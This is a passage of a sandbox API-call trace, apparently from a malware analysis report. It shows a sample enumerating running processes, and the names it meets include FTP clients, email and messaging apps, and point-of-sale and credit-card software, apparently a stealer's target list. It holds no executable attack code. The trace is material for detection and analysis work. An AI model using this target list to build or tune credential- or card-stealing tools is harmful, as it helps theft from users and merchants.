pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.906] lstrlenW (lpString="audiodg.exe") returned 11 [0060.906] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.906] lstrlenW (lpString="svchost.exe") returned 11 [0060.906] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.906] lstrlenW (lpString="svchost.exe") returned 11 [0060.906] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.907] lstrlenW (lpString="dwm.exe") returned 7 [0060.907] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.907] lstrlenW (lpString="explorer.exe") returned 12 [0060.907] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.907] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.907] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.908] lstrlenW (lpString="svchost.exe") returned 11 [0060.908] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.908] lstrlenW (lpString="taskhost.exe") returned 12 [0060.908] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.908] lstrlenW (lpString="taskeng.exe") returned 11 [0060.908] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0060.908] lstrlenW (lpString="communist_nick.exe") returned 18 [0060.909] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0060.909] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0060.909] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0060.909] lstrlenW (lpString="prize.exe") returned 9 [0060.909] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0060.909] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0060.909] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0060.910] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0060.910] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0060.910] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0060.910] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0060.910] lstrlenW (lpString="prospects.exe") returned 13 [0060.910] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0060.911] lstrlenW (lpString="signalpackard.exe") returned 17 [0060.911] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0060.911] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0060.911] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0060.911] lstrlenW (lpString="release.exe") returned 11 [0060.911] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0060.912] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0060.912] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0060.912] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0060.912] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0060.912] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0060.912] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0060.913] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0060.913] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0060.913] lstrlenW (lpString="stickers_nations.exe") returned 20 [0060.913] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0060.913] lstrlenW (lpString="initiated-scary.exe") returned 19 [0060.913] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.913] lstrlenW (lpString="3dftp.exe") returned 9 [0060.913] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.914] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0060.914] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.914] lstrlenW (lpString="alftp.exe") returned 9 [0060.914] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.915] lstrlenW (lpString="barca.exe") returned 9 [0060.915] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.915] lstrlenW (lpString="bitkinex.exe") returned 12 [0060.915] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.915] lstrlenW (lpString="coreftp.exe") returned 11 [0060.915] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.916] lstrlenW (lpString="far.exe") returned 7 [0060.916] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.916] lstrlenW (lpString="filezilla.exe") returned 13 [0060.916] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.916] lstrlenW (lpString="flashfxp.exe") returned 12 [0060.916] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.916] lstrlenW (lpString="fling.exe") returned 9 [0060.916] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.917] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0060.917] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.917] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0060.917] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.917] lstrlenW (lpString="icq.exe") returned 7 [0060.917] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.918] lstrlenW (lpString="leechftp.exe") returned 12 [0060.918] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.918] lstrlenW (lpString="ncftp.exe") returned 9 [0060.918] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.918] lstrlenW (lpString="notepad.exe") returned 11 [0060.918] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.919] lstrlenW (lpString="operamail.exe") returned 13 [0060.919] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.919] lstrlenW (lpString="pidgin.exe") returned 10 [0060.919] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.919] lstrlenW (lpString="scriptftp.exe") returned 13 [0060.919] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.920] lstrlenW (lpString="skype.exe") returned 9 [0060.920] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.920] lstrlenW (lpString="smartftp.exe") returned 12 [0060.920] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0060.920] lstrlenW (lpString="thunderbird.exe") returned 15 [0060.920] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0060.921] lstrlenW (lpString="totalcmd.exe") returned 12 [0060.921] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.921] lstrlenW (lpString="trillian.exe") returned 12 [0060.921] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.922] lstrlenW (lpString="webdrive.exe") returned 12 [0060.922] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.922] lstrlenW (lpString="whatsapp.exe") returned 12 [0060.922] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.922] lstrlenW (lpString="winscp.exe") returned 10 [0060.923] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.923] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0060.923] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.923] lstrlenW (lpString="active-charge.exe") returned 17 [0060.923] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.924] lstrlenW (lpString="accupos.exe") returned 11 [0060.924] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.924] lstrlenW (lpString="afr38.exe") returned 9 [0060.924] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.924] lstrlenW (lpString="aldelo.exe") returned 10 [0060.924] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.925] lstrlenW (lpString="ccv_server.exe") returned 14 [0060.925] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.925] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0060.925] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.926] lstrlenW (lpString="creditservice.exe") returned 17 [0060.926] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.926] lstrlenW (lpString="edcsvr.exe") returned 10 [0060.926] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.926] lstrlenW (lpString="fpos.exe") returned 8 [0060.926] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.927] lstrlenW (lpString="isspos.exe") returned 10 [0060.927] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.927] lstrlenW (lpString="mxslipstream.exe") returned 16 [0060.927] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.927] lstrlenW (lpString="omnipos.exe") returned 11 [0060.927] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.928] lstrlenW (lpString="spcwin.exe") returned 10 [0060.928] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.928] lstrlenW (lpString="spgagentservice.exe") returned 19 [0060.928] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.928] lstrlenW (lpString="utg2.exe") returned 8 [0060.928] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0060.929] lstrlenW (lpString="nj_sh.exe") returned 9 [0060.929] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0060.929] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0060.929] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0060.929] lstrlenW (lpString="telecommunications.exe") returned 22 [0060.929] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0061.085] lstrlenW (lpString="sound banking.exe") returned 17 [0061.086] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, 